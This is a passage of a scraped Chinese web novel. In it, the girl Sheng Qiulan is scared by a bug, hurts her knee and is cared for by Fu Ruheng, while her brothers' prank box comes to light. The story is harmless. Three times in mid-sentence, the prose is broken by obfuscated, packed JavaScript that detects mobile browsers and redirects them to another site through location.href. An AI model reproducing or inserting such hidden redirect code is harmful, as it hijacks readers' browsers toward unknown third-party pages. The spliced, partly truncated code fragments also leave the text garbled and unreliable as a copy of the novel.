来不及掸掉身上的灰尘,盛秋阑又往前面走了几步,只是走路的姿势有点怪异,右腿不自然地弯曲,落地时放轻了力道,显得一瘸一拐。 傅如珩下意识想要伸手,却摸了个空,才察觉两个人之间还隔着一段距离。他加紧跑了两步,终于在盛秋阑再次摔倒之前扶住。 他本来以为那一声尖叫是因为摔倒发出来的,可是等到把人抱在怀里的时候,才发觉盛秋阑全身都在颤抖,更像是遇见了什么可怕的东西。 这是他第一次看见盛秋阑这样紧张不安的样子,对方一直都是明媚张扬的,好像不管发生什么事都能够迎刃有余地解决。 这是发生什么了? 傅如珩眼神沉沉,手上的动作却异常轻柔,抚着她的后背,仿佛对待一件易碎品。 盛秋阑脸埋在他的肩膀处,声音闷闷:“先离开这里。” 她的脚上有伤,傅如珩干脆把整个人都抱起来,盛秋阑的胳膊环着脖颈,两条腿分在两边,被傅如珩稳稳拖住,轻微摇晃。 不知道走了多久,盛秋阑都没有说过第二句话,傅如珩也就没有停下来,一直等到几乎看不见身后的草坪,耳边才传来一道低低的嗓音。 相比起之前,话语当中的哭腔几乎已经听不见了,只是兴致依旧不高。 “好了,把我放下来吧。” 傅如珩没有如她所说立刻停下来,而是又往前面走了两步路,把盛秋阑放在亭子当中的凳子上。 他自己没有坐在另一边,顺势蹲下来。 坐下来之后,盛秋阑此刻的样子更加清楚,膝盖处有两块不是很规则的圆形污渍,上面还沾着棕黄的泥土颜色。 “哪里摔伤了?” 傅如珩蹲下来之后比盛秋阑低一点,垂眼就能看见她的膝盖。 盛秋阑拉开了自己的裙摆,藕白的小腿露出来,一直撩到膝盖。 原本光滑白皙的膝盖上面突兀地出现了两片红色,右边要更加严重一点,还破了皮,露出了下面的皮肤和一点点血痕。 傅如珩皱紧了眉头:“我去叫府医。” 盛秋阑坐在位置上还不安分,眼睛总往后面看,拉着人不肯让他走:“不用,府医这段时间回家告假了,房中没有人……你别走,我不想一个人在这里。” 她现在脚上不方便,如果有什么意外傅如珩还能带她走,若是那个虫子真的跟来了,跑都跑不掉。 傅如珩没有办法,但是也没有立刻坐下去。他早就发觉了盛秋阑的情绪不对,过了这么久,对方还没有平静下来,手指不停地绞着他的衣摆,看起来有些不安。 “怎么了?” 他早在盛秋阑第一次往后转的时候就看过她的身后,亭子和平常并无二致,可盛秋阑还是紧绷着,不知道是看见了什么害怕成这样。 “你帮我看看周围有没有虫子,”盛秋阑干脆说出来,“我哥从花鸟集里面带回来一只大虫子,我打开盒子之后它就跳出来了。” 她嘟囔着:“也不知道从哪里找出来这么丑的虫子。” 傅如珩知道她害怕,没有敷衍,再次在周围仔仔细细看了一遍,确保没有盛秋阑所说的虫子。他找人要来了驱虫药膏,避开伤口抹在她的身上,还在自己身上挂了一个驱虫的锦囊。 “现在应该不会来了,来了我也能赶走。” “那你不要用手打……也不要用脚,”盛秋阑还有要求,“不想让它们碰到你的手。” 傅如珩一一应下,视线一直关注着她膝盖上的伤口。 盛秋阑其实只在一开始摔伤的时候有点疼,她原来比这更严重的伤都受过,这个伤口看起来可怖,但其实没有伤到里面,只是一个小口子而已,根本没有放在心上。 只是因为这几年被娇生惯养,才在跌倒的时候懵了一下。 她甚至还想要站起来走两步表示自己没事,却被傅如珩一把摁在了凳子上。 “那我去药房里面帮你找点药。” 盛秋阑见他想要走,有些不情愿,但还是没有伸手拉他。 笑话,作为一个心里年龄已经二十多的人,接二连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979284|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三地表示自己害怕好像有点太过丢人了。 她垂下脑袋,盯着自己的伤口,好像要瞧出一个花来。 没想到傅如珩刚走出一步,又折返回来,在盛秋阑面前蹲下。 “刚刚忘记了。上来吧,我带你过去,不会把你一个人留在这里的。” 盛秋阑微怔,随后向前倾倒,慢慢趴在他的背上。 傅如珩蹲下来的位置刚刚好,让她不用费力就可以稳稳被背起来。 傅如珩确认她已经趴稳了,才慢慢起身,他的脚步有点慢,但是走得很平稳,盛秋阑在他背上只能感觉到轻微的颠簸。 伤口已经过了最开始的疼痛,现在只剩下隐隐约约的痛感,并不是很剧烈。 傅如珩绕到西跨院,里面的确实没有人。 他把盛秋阑放在有软垫的椅子上,自己在后面的木柜子里翻药。 “我记得摔伤的药是在左边第二个抽屉里面。” 傅如珩依言打开抽屉,果然看见了白芨粉,他把瓶子拿出来,又在柜子上面拿了一卷棉纱布。 白芨粉当中掺着珍珠粉,傅如珩把白色的粉末均匀地洒在盛秋阑的膝盖上,听到头顶上传来一声夸张的“嘶”。 他手上的动作一顿,刚才已经尽量挑选了药性比较轻的白芨粉,没想到还是会痛。 傅如珩抬头看向盛秋阑,想要从对方的表情当中判断伤势,却没有想象中的不适。 后者面上笑嘻嘻的,小腿不听话地乱动:“骗你的,不要皱眉头了,我一点都不痛。怎么感觉你比我还难受,我都没有皱眉呢。” 明明连十岁都不到,还整天还皱着眉头。像个小大人一样。 傅如珩再次低下头,虽然盛秋阑这样说了,但是他还是放轻了动作。 “下次还是要小心点。” 白色药粉覆盖住了伤口,傅如珩拿起消毒过的纱布,扯出一段,小心地盖在伤口上面。纱布之间有着细小的缝隙,缠两圈之后彻底看不见红色,最后在侧边绑上一个结。 盛秋阑觉得有些太过夸张了,连忙阻拦:“涂个药酒差不多了,明天就能好。” 傅如珩的房中经常备着药酒,不管多大的伤口都是随便涂一下就算,现在却表现得异常重视。 膝盖上突然多了一圈纯白色,好像右腿上的重量都多了一点,弯一下腿都有着阻力。 盛秋阑有些不自在地晃了晃腿,余光中见傅如珩又扯了一段绷带,貌似还想要把另一个膝盖也给包起来,连忙阻止。 “够了够了,真的。” 一条腿还能说成是受伤了,两条腿都缠住就感觉她已经半身不遂了一样。 盛秋阑已经从之前的状态里面走出来,重新变成平时的样子,就连说话的语调都恢复了。 “你来了正好,我带你去看看今天新买的兔子。” 她想要像往常一样跳下来,却被制止了。 “腿还没好,别乱跑了。” “我没事了。”盛秋阑为了证明自己,原地蹦了两下,表情僵硬了片刻。 好像还真有点痛。 她彻底老实下来,跟在傅如珩后面。 19. 丢脸 兔子所在的草坪和西跨院有点距离,盛秋阑本来还想要在前面带路,却发现傅如珩好像已经确定了方向,半点没有犹豫。 盛秋阑好像抓住了他的小辫子:“难怪你今天主动来找我,原来是为了看兔子的。那我之前叫你一起来在店门口看你还表现得不情不愿的。” 傅如珩懒得废口舌和她解释,路上经过盛秋阑之前摔倒的草坪,后者的脚步不自觉加快,走到了傅如珩的身边,紧紧贴着。 站稳之后,她后知后觉感觉到丢脸,总归已经走过来了,傅如珩也不能把她赶走。 见旁边的人低头看了她一眼,盛秋阑不甘示弱地看了回去。 “看什么看,我只是怕你冷而已。” 天上的太阳正当空,只穿着一件薄长衫就已经足够,这个借口实在有些拙劣。 傅如珩没有点破,淡淡收回眼神,默认了她的动作。 走路时,两人不可避免地触碰到对方。 盛秋阑垂在两边的手若有若无地贴过来,傅如珩手上还残留着先前的药膏香味,现在同样沾在了她的身上,恍若一体。 盛秋阑没有注意这些细节,即便身边已经有了傅如珩,还是有些紧张地向四周看,草木皆兵。 傅如珩早已经看过四周,他的视力很好,每一寸草丛都被视线一一扫过,没有发现虫子。只是出于某种心思,他没有张口,在一边默默地看盛秋阑一惊一乍。 盛秋阑一双杏眼微微睁大,小心翼翼地往四周观察着,偶尔风吹过草引来晃动,她面上还绷着冷静的样子,手指已经不自觉向上牵,先是指尖相触,然后非常自然地勾在一起。 她先前被吓出一身冷汗,手中还是凉的,比一向体温低的傅如珩还要冷。 傅如珩终于没有再闲庭信步,加快脚步想要快点带她离开,没想到这时盛秋阑反而不配合了,双脚好像被钉在原地,眼睛直直地看着草坪当中的某处地方,面上闪过惊慌。 她的声音有些颤抖,手指下意识用力,捏得傅如珩生疼:“傅傅傅傅如珩,你看那是什么?是不是虫子?” 盛秋阑几乎快要崩溃,说到最后都带上了一点哭腔,已经上过药的膝盖都开始隐隐发疼。 傅如珩微微蹙起眉,他先前检查过,应该不至于有遗漏。 他朝盛秋阑指的方向看过去,现在这个时节,草坪中覆盖着刚刚长出来的嫩草,与原先的草混杂在一起。在它们之间好像有一个黑乎乎的东西,约莫两根手指大小,但是因为有一段距离,所以看不见具体样子。 “我去看看。” 盛秋阑手上还牵着,不太想要让傅如珩走,但是那处草丛就在他们的前方,要想过去必须要经过那块地方。 她脚下踌躇,一方面想跟着,一方面又不敢靠太近,最后在一番纠结下还是恋恋不舍地松开手。 手指残存着主人的意思,松开得格外迟缓,盛秋阑浑身崩成了一条线,就连说话时都只敢微微动嘴唇,根本不敢有大幅度动作,生怕虫子会注意到这边的动静。 盛秋阑的声音仿佛被闷在口腔当中,黏黏糊糊的一团。 “那你快点啊。” 她看着傅如珩朝着那一处草走过去,心中突然生出一点后悔。 刚才就应该一起走的,总归傅如珩不会让虫子碰到她。 但是现在对方已经走出去一段距离了,盛秋阑却还是待在原地,念头只出现了一秒,腿却根本使不上劲。 骤然失去了依靠,她好像被困在这一处小小的地方,再也不能动弹,唯有一双眼睛可以看前面的动静。 傅如珩的动作在眼中放慢了很多倍,然后盛秋阑就眼睁睁看着对方走进那块地方,弯下身子把那一团黑乎乎的东西捡起来了! 捡、起、来、了! 盛秋阑差点展现人类医学奇迹,腿也不软了膝盖也不痛了,现在就想要拔腿就跑。 她刚退了两步,就听见后面传来一个无奈的声音。 “不是虫子,你仔细看。” 她眼中饱含怀疑,但还是撑着最后一丝对傅如珩从小到大一起长大的情谊,勉为其难地回了头。 傅如珩的确没有骗人,他手上捏着的是一片已经将近枯黑的小叶子,因为离的比较远,所以远远望过去就像收拢了翅膀的甲壳虫。 先前盛秋阑所看见的虫子也是这一片叶子,当时被风吹过,离得与她近了些,却被误以为成了虫子。 “咳咳。” 盛秋阑小步地挪回来,靠近了依旧捏着叶子的傅如珩。 她心有余悸地瞥了一眼他手上那一片破碎的叶子。无辜的黑色叶片从树上落下来,将近腐败还要被当做虫子。 即便知道不是自己想象的东西,盛秋阑的心跳依旧没有完全平复,扑通扑通地在胸膛里面快速跳动着。 她感觉到自己刚才的反应实在有点大,强撑着面子从傅如珩手中接过那一小片叶子,马后炮地开始维护自己在小弟面前的形象。 “我还以为是什么呢,就这个啊哈哈哈。” 为了掩盖刚才的失态,盛秋兰当着傅如珩的面特意把这一片黑色的叶子捏得粉碎,撒在一旁的草丛当中。 枯黑的叶子已经变得很脆,边缘都泛着莹莹的光,只有中间才透出一点点橙黄色。 残余的树叶碎片粘在她的手上抖落不掉,盛秋阑随意地拍了拍,把灰烬都丢在了草坪上,一直沉到土中。 她手上动作不停,眼睛观察着傅如珩,试图从中判断对方有没有在心里面偷偷笑她。 被一片小叶子吓成这样去,要是被说出来,以后她还怎么混! 傅如珩任她随意看,盛秋阑判断不出其中的意思,但也没有看到明显的笑意,勉强让他过关,但最后还是留了个心眼,颇为谨慎地说。 “刚才的事情不要说出去……不然,哼哼。” 似是听到了某个词,傅如珩眼神微动,但最终还是没有说出来。 盛秋阑的威胁实在没有杀伤力,也就只能装个样子吓唬人。 傅如珩从小到大被拉着干了不少坏事,盛秋阑为了不让他告状,类似的话说了不下几 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两个人最后也没能去成兔子窝,被发现不对的下人们及时禀告,中途就被拐到了正房当中。 盛秋阑皮归皮,却没怎么受过伤,从小到大就知道随机应变,一旦发现玩脱了就逃走,这膝盖上的伤还是她长这么大以来最严重的一次。 被叫到主屋的时候,盛秋阑还没有反应过来,直到被摁在一旁的榻榻椅上才知道原因。 “娘,我真的没事。” 前有傅如珩,后有贺兰谨。每个人都对她这点小伤口展现出了万分的紧张,盛秋阑坐在椅子上被周围一群人盯着,只好用眼神求助一旁的傅如珩。 她的右腿膝盖被包裹得严严实实,透过白色的纱布看不出里面的伤口,只能通过左膝盖的擦伤来判断。 盛秋阑被看得腿都发僵了,脸上原本还有笑容,现在都要支撑不下去了,只见贺兰谨满眼心疼地盯着伤口看了半天。 贺兰谨:“这条腿怎么不包上?” 盛秋阑好说歹说才让傅如珩放弃了把两条腿都包上的念头,听到这话一头两个大。 “不用!” 盛秋阑企图用一个更夸张的例子来打消贺兰谨的想法:“难不成以后出门还给我配个轮椅吗?” 没想到她的娘亲想了想,沉吟道:“好像确实是轮椅方便点。” 盛秋阑:“……” 她是这个意思吗?! 盛秋阑在这边心急如焚,傅如珩作为被一起拉过来的人,却在一旁悠哉悠哉地剥着橘子。 小巧的沙糖桔握在手上,很快就被剥掉了外壳,修长的手指却还在慢条斯理地清理着上面的白丝,仿佛一下子就拥有了无限的耐心。 丝毫不顾眼睛都快要眨抽搐的盛秋阑。 盛秋阑暗示无果,磨了磨牙齿,默默在心里记了一笔。 好,很好,看她出去后要怎么收拾傅如珩。 20. 除虫 不管之后盛秋阑要怎么解决傅如珩的“叛变”,贺兰谨还在面前看着,她不敢做什么小动作,只能绞尽脑汁地思考如何转移话题。 联想到这件事情的罪魁祸首,盛秋阑眼中闪过一抹狡黠的光,果断决定祸水东引。 她一改刚才差点要蹦到椅子上面的气势,突然浑身都松下来,就连语调也放软了。 “娘亲,只是二哥他带回来一只虫子,我害怕才会摔倒的。” 盛秋阑试图开始回忆刚才的感觉,只是周围密密麻麻全都是人,虫子要是出现在这个地方,早在跳到盛秋阑面前时就被解决了。 她找不回来之前毛骨悚然的感觉,只好尽力把头埋低,做出一副可怜弱小无助的样子。 旁的人可能还会被她这个样子骗到,但是在傅如珩眼里,这个伪装简直就和纸一样,一戳就破。 毕竟他之前看见过盛秋阑真正害怕的样子,现在倒像是戴着个无所遁形的兔子面具,面上装成胆小的样子,实际上一双眼睛在下面滴溜溜地转。 贺兰谨倒是第一次看见盛秋阑这个样子,明显被唬住了,顿时把刚刚的想法全都抛在一边。 “那只虫子在哪,娘亲让人把它赶走……把盛承驰那个臭小子叫过来,难得回来一次就惹事。” 二哥上午刚刚给自己买完心心念念的兔子,现在就要因为自己被责骂,盛秋阑实在有些心虚,赶快把重点转移回来。 “没事的娘亲,不怪二哥,只要把虫子赶走就好了。” 她的眼角是刚刚强行憋出来的红色,光看面孔还真像那么回事。 贺兰谨看着心疼:“好好好,等一下就让人烧草药,保管不会再有虫子了。” 她转向一旁的傅如珩,语气中少了一点面对盛秋阑的宠溺,更多的是作为长辈的温柔:“这次麻烦如珩了。” 傅如珩在这方面教养极好,言行当中都挑不出毛病:“夫人言重了,只是碰巧遇见。” 盛秋阑在一旁撇撇嘴,什么碰巧遇见,分明是她嗓门够大。 因为对方刚才的无视行为,盛秋阑心中还有一股气,现在听什么都不顺眼。 只是她不敢在贺兰谨面前表现出来,好不容易才劝完母亲放弃打造一座轮椅的想法之后,盛秋阑半点都不敢停留,生怕再晚一点就会被拉着强摁在轮椅上。 “那我就先走啦!” 因为这么一出,她膝盖上面的伤口都在迫切下短暂失去了痛觉。盛秋阑脚下飞快,看不出受伤的样子,临走之前顺便拉上了一旁好像没事人一样的傅如珩。 侍郎府中的人手脚麻利,自从贺兰谨下令之后,很快准备好了艾草等物,空气中隐隐传来草木被点燃的味道,带着一点烟味。 盛秋阑直接把傅如珩带到了自己的屋子里,她所住的院子距离正院不远,走几步路就能到,傅如珩好像完全不知道自己即将面临什么,依旧面色从容地跟在后面。 院门被一把关上,盛秋阑一屁股坐在了柔软的贵妃榻上面,受伤的右腿大咧咧地搭在旁边的小凳子上,露出一小节光滑的小腿。只看这个样子,半点没有一般官府小姐的姿态,反倒像个恶霸。 贵妃榻不算高,但是盛秋阑之前垫了好几层软垫,直接拉高了身量。原本比她高了一个头多的傅如珩站在面前还要稍矮一点,看着这个样子,盛秋阑心中的气才顺了一点。 “知道哪里错了吗?”她恶声恶气地说。 盛秋阑百思不得其解,自己对傅如珩好歹也是尽心尽力,对方居然如此恩将仇报!! 别以为她没有看见自己被贺兰谨追问的时候傅如珩露出了一抹笑。 虽然只是嘴角上扬了一个像素点,也逃脱不了她的火眼金睛。 “你……唔。” 盛秋阑再次开口,打算细数罪行,没想到口中突然被塞入一片冰凉的东西。 傅如珩不知什么时候上前了一步,把手里面的橘子塞在她的嘴里,时机的精准性让盛秋阑不得不怀疑对方是早有预谋。 薄如蝉翼的橘子皮一咬就碎,里面的汁水很快就溢满口腔,没有了外层口感略差的橘络,口中只剩下清甜的橘子味。 也不知道傅如珩是怎么还有闲心把橘子用皮裹住的,乍然一看就跟新的一样。 盛秋阑还没有来得及说出口的话就这样被堵在口中,被迫咽下口中的橘子,还打算继续开口。 “为什么不帮我……唔。” 剩下半个橘子继续被塞进嘴里面,不大的口腔被塞得满满当当,不至于让人觉得撑,但是足够说不出完整清晰的话语。 傅如珩就这样站在盛秋阑面前,一点都没有低人一等的意思,手里面还剩下一个完整的橘子皮,代表他刚才的“罪行”。 人证物证全都在,无从抵赖。 刚刚在正房当中看到的一抹笑意早在他离开之后就消失了,重新变回了平常的平静样子,不过在这个时候又浮现出来了几分。 盛秋阑口中还在嚼着橘子,咬牙切齿地打量他,本就圆的杏眼这样一看变得更加大了。 似是被她这幅样子取悦到了,傅如珩的站姿变得放松下来,还有闲心收拢散开的橘子皮,重新变成椭圆形,要不是上面还有缝隙,几乎分辨不出区别。 盛秋阑被迫吃完了一整个砂糖橘,嘴巴抿得紧紧的,警惕地在他身上打量了一圈,确定再也没有第二个可以偷袭的东西,才张口。 “你怎么不帮我,明明昨天还答应当我小弟。” 盛秋阑不小心把内心的想法说出来了,话一顿,抬眼观察傅如珩没有表现出不乐意的神情,才继续后面的话。 “你明明知道我没事。” 傅如珩的视线从她架在椅子上面的腿扫视了一圈才收回来。他当然不会说,因为他的想法就和贺兰谨一样。 才一会儿不见,盛秋阑就摔伤了腿,若是不能安安分分地坐下来,谁知道以后还会出什么事情。 他的真实想法不能暴露出来,只能用另一种话来搪塞。 “我记得你昨天说的是你罩着我。” 两个人称代词被着重强调,盛秋阑果真被轻易转移走了视线。 “虽……虽然如此,但是这个也是一个意外,在其他时候,你也可以帮帮我嘛。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021009|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅如珩不置可否,盛秋阑的性子只有在长辈面前才会收拢一点,若是贺兰谨能够让她乖乖听话是最好不过,可是现在这个情况也是在意料之中。 盛秋阑是绝对不会就这样乖乖听话的。 几乎已经要闻不到的草木香再次传来,应该是下人已经烧到这块地方了,气味传到屋子里面的时候,那一股带着暖意的辛味已经变得很浅,只剩下了一丝微苦的回甘。 按照这个架势,整个侍郎府大抵都要被笼罩在这一片草药味当中,别说是一只虫子了,就算府中藏着一个窝大抵也已经被掀了个底朝天。 盛承驰刚刚带回来不到半日的虫子就在这一片烟雾当中销声匿迹。 当事人早在马车上就想好了计划,一回到府中就拿着之前小考的卷子跑到盛承礼的屋子,指着上面一道题请教。盛承礼虽然觉得这个行为反常,但是看着他愁眉苦脸的样子,还是犹豫着把卷子接过来。 才讲到一半,盛承驰突然一拍脑袋:“哥,我有张卷子忘在屋里了,你帮我去拿下吧,我就在你这里订正。” 为了让自己所说看起来更加真实一点,他当真拿起了旁边夹在笔架上面的毛笔,开始在错处旁边订正。 盛承礼狐疑地打量了他一眼,出于对先前种种的经验,直觉告诉他盛承驰这么做肯定有猫腻,但是上看下看都没有发现对方身上藏着的东西,订正的答案也都是正确的。就在他怀疑的时候,盛承驰还在催促着,盛承礼一步三回头地出门,去给他找卷子去了。 听到脚步声渐渐走远,盛承驰一把把自己刚才拿来的卷子放在一边,从怀中掏出自己先前准备的小盒子,因为体积太小,藏在衣服当中也不突兀,所以盛承礼完全没有发现。 把一切东西复原之后,盛承驰就离开了书房,顺便带上自己订正到一半的试卷。 他这个借口也不算假,小考的卷子确实需要订正,只是稍稍耍了个手段,主要还是想把盛承礼引出来。 盛承驰随便找了个房间,快刀斩乱麻地在一旁写上完整的答案,随后又在屋子里面等了半天,却没有听到半点动静。 他特意找了一个距离书房比较近的屋子,窗口正好对着那个方向,只要盛承礼回来就能第一时间注意到。 结果还没有等来人,先闻到一股草木味。 午后让人倦怠,盛承驰不知道什么时候趴在自己的卷子上面睡着了,还好上面的墨渍已经干涸,没有印在脸上。 他把卷子挥到一边,耸耸鼻子,循着气味把窗户推开了,被瞬间浓郁的艾草味刺激得眯了眯眼。 盛承驰朝着不远处望过去,看见了烟雾缓缓飞上天空,笼罩着这一处地方,艾草的辛气混杂在其中。 侍郎府定期会驱虫,但是像这么大的阵仗还没有过,更何况前不久刚刚除过虫,没想到这么短时间里来了第二次。 盛承驰有些疑惑,这是哪个虫子跳出来了,值得这么兴师动众。 想到这里,他略有些担忧地看了一眼书房,随后宽慰自己。 反正他的盒子只要没有人打开,里面的虫子就跳不出来,肯定跟他没关系。 21. 倒霉蛋 盛承礼原本拿完卷子就要回去的,没想到在半路上被一位下人拦住了。 “大少爷,夫人让您去她那边。” 于是他就转了个弯,正好和从主屋出来的盛秋阑错过了。 贺兰谨看着盛秋阑拉着傅如珩离开之后,眼中终于闪过一抹忧愁,她揉了揉太阳穴,半撑着头,不知想到了什么,对一旁的丫鬟说。 “叫承礼过来。” 盛承礼走到贺兰谨面前,恭恭敬敬地行了礼:“母亲。” 贺兰谨示意他坐在一旁:“昨日承驰说那个童舍搬到你们学堂附近了?” 盛承礼不明所以,点了点头。 “童舍的先生有换过吗?” “没有,还是卫先生。” 因为童舍里面的孩子年岁相差不多,外加上只有一部分在京城地位比较高的人才能够送进来,里面的学生也不多,干脆全都合并在一起,等到上了中舍开始正式学习策论之后才会开始分班。 盛承礼和盛承驰全都是这样过来的,教他们的也都是同一位先生。 他们口中的卫先生是从太学里面转到童舍里面去的,当初童舍的想法刚刚提出来,有不少人支持,却因为没有合适的先生,所以迟迟没有开始动工,是卫先生自请下调,这项工程才能够顺利开展下去。 “行,我知道了。” 贺兰谨断不可能无缘无故问他这些话,盛承礼想了想,难得多问了一句:“是秋阑要去上学了吗?” 按照盛秋阑这个年纪,去上学虽然有些早,但是也不是没有这种先例,只是盛家一贯宠她,私心里面也想让她再多玩一会儿,原本没有打算让她这么早就去上学。 只是贺兰谨今日看见盛秋阑和傅如珩站在一起的时候才想起来,虽然京城当中同龄人不算少,但是盛秋阑一般都和傅如珩在一起,就算关系再好,也应该多交一些其他的朋友。 盛秋阑自从可以独立行走开始就在京城当中乱逛,闲不下心来,外加上昨天鎏金楼那一通,虽然旁边有跟着的侍卫,但还是保险起见比较好,找个地方消耗一下精力也不错。 这只是贺兰谨的想法,盛怀德还在朝中没有回来,具体事宜需要两人一起商讨,最重要的是盛秋阑的态度也不知道。 若是盛秋阑不愿意,那再在府中呆上几年也没有关系,就算出去打了谁,侍郎府也不是赔不起。 盛怀德这几年在朝廷之上平步青云,大部分有眼色的人都不会因为小辈们的矛盾而闹得难看。 这是他们能给孩子的底气。 见母亲没有明说,盛承礼很快反应过来,没有再多问。 在他离开之前,听见贺兰谨话语中带着一点无奈:“回去注意点乘驰,听秋阑说他又带回来的一点什么东西。” 盛承礼应下,一点都不意外。 盛承驰今天的举动实在是太过反常,要说背后没有鬼他都不相信。 只是等盛承礼充满戒备地打开自家院子的时候,却发现一片静悄悄的,盛承驰不知道跑到哪里去了,只有一个书房门大敞着。 应该就是这里了。 盛承礼提着精神,先在门口观望了半天,但只看出里面变得有些杂乱,椅子被随意踢到了一边,桌子上原本架着的笔也掉了下来,在毛毡毯上晕出一团墨渍。 书桌上面放着一个开着口的小盒子,是房间里面唯一多出来的东西。盛承礼一步步地走近,却发现里面是空的,一个弹簧有些滑稽地在空中摇摆。 盛承驰在原地等了半天,几乎都要习惯空气当中的浓重气味,终于看到盛承礼的身影出现在视野当中,他紧紧盯着人进入院门,里面却没有一点动静。 没发现吗? 不应该啊,他特意把盒子放得明显,只要一进入书房就能看见。这个机关做得很巧妙,就算不害怕虫子,也会被突如其来的弹簧吓一跳,不管怎么说都不应该这样安静。 就算盛承驰不害怕,也应该立刻出来教训他,怎么会这么平静。 盛承驰终于耐不住性子,从屋子里面走出来,没想到迎面就碰上盛承礼。 对方手里拿着他精心挑选的盒子,一颗弹簧作为隐藏的机关,现在大咧咧地露在外面。 盛承礼把盒子丢到他的怀中,竟然没有多说什么。 盛承驰不甘心,竟然还不肯走,大着胆子讨打:“哥,你不害怕?” 盛承礼原本做好了心理准备,没想到就面对一个弹簧,还在感叹盛承驰长大之后就连套路都开始温和了,此刻见到人也没有想要教训他的意思,反而心平气和地说:“不就一个弹簧?母亲还说让我多注意一点。” 盛承驰终于反应过来不对:“只有一个弹簧,没有别的?” 盛承礼有些疑惑地转向他:“没有。” 贺兰谨的提示来得突然,他也没有来得及问她是怎么知道的,现在看盛承驰的表情,才感觉到事情没有这么简单。 艾草味几乎要散干净了,只有仔细闻才能嗅出清冽的草木味,盛承驰还没有来得及同情自己腰酸背痛等了半天结果放了哑炮的戏,转而开始思考。 是谁成了这个倒霉蛋? 倒霉蛋本蛋盛秋阑此时半靠着床头,旁边是临时支起来的小桌子,上面摆着今天的晚膳。 碧云没想到自己一下子没有看住,盛秋阑就摔倒了,现在翘着一条腿躺在床上,看起来可怜又好笑。 伤患自己没有这个意识,有些郁闷地咬着勺子,看着面前变得清淡的粥。 “我记得今天应该有红烧肉吧,怎么就给我吃这个。” 盛秋阑昨天特地点了菜,今天还看到膳房里面热火朝天地忙活,期待晚饭很久了,没想到就端上来一份清汤寡水。 她拿着勺子抗议:“我想吃肉。” “小姐你腿上有伤,不能吃太油腻的东西,想吃肉的这边有排骨汤。” 盛秋阑兴致缺缺地看了一眼传说中的排骨汤,上面的浮油都被撇了个干净,就连调料都放得极少,几乎尝不出来味道。 她先前还不觉得,现在才意识到摔伤的麻烦。 碧云残忍地告知她,腿好之前,膳房会每天变着花样给她准备这些养生餐,而且会有人守着,她别想要偷偷摸摸改善伙食。 盛秋阑听得两眼一黑,目光转向唯一有可能的傅如珩。 养兵一日,用兵一时,是时候报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047778|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效她了。 谁知傅如珩默默移开视线,不和她对视上,任凭盛秋阑挤眉弄眼,怎么暗示都不行,旁边还有丫鬟们守着,她又不能直接说出来。 看着人离开的影子,盛秋阑气得握紧了拳头。 她就知道,得到了就不珍惜。 这才刚刚一天,傅如珩就要开始造反了! 不仅如此,她这段时间只能呆在房间里面,就连出去也不行,盛秋阑摆着手指数着未来养病的天数,顿时感觉自己已经开始无聊了。 不过养伤的日子比她想象中要快很多,傅如珩在开头几天每天都会准时来看她,虽然总共说不了多少话,但他们之前的相处方式也是这样,盛秋阑光靠一个人就能把场面撑起来。 盛承驰已经知道那个倒霉蛋是盛秋阑了,第二天就赶过来,本意是想关心一下,只是看到躺在床上的人没忍住幸灾乐祸,最后忘乎所以,把自己原本的想法都给说出来了。 “我不是说了不要去碰吗,本来只是想吓吓大哥罢了,看你现在只能躺在床上。” 话刚说完,盛承驰的后脑勺就被拍了一下,转头看见盛承礼皮笑肉不笑地说:“原本想吓谁?” …… 府医在第二天就赶回来了,听说自己不在的时候盛秋阑摔伤了,他吓得都没来得及去西跨院,直接到了盛秋阑的房中。 和盛秋阑当初自己的判断一样,这个伤口只停留在表层,没有伤到内部。府医看过之后其他人也放心下来,他收起旁边的药箱,重新换了绷带,拆开结的时候还有些惊奇。 “这是谁绑的,还挺精细。” 白纱布妥帖地放在一边,上面还沾着药粉,作为一个临时的处理已经算是很好,就连府医也挑不出什么错处。 傅如珩之前受伤得多,虽然大多数是自己处理的,但总有伤势比较严重,需要让大夫处理的时候,就是在那个时候偷偷学习的手法。 盛秋阑看着府医重新把新的绷带缠在腿上,看模样却有点蔫蔫的。 傅如珩今天没有来。 一般对方早在用完膳就会过来了,可是现在已经临近申时,还不见他的影子。 盛秋阑原本只以为是傅如珩一时有事,但在之后的两天却还是没有看见人影。 等到终于被府医告诉已经完全恢复已经是一个星期之后了。 盛秋阑这段时间去过最远的地方就是自己门口的院子,早已经闲得要长草,就差和兔子一起啃草坪了。迎春怕她无聊,从一旁的兔子窝中把兔子抱过来给她玩,盛秋阑面上玩得挺高兴,但是兴致总没有之前那么高,时不时望向院门口,好像在期待谁会突然出现。 她有一搭没一搭地摸着兔子上面的毛,听到府医宣布可以出去的时候眼睛亮了一瞬,当即就想要往外跑。 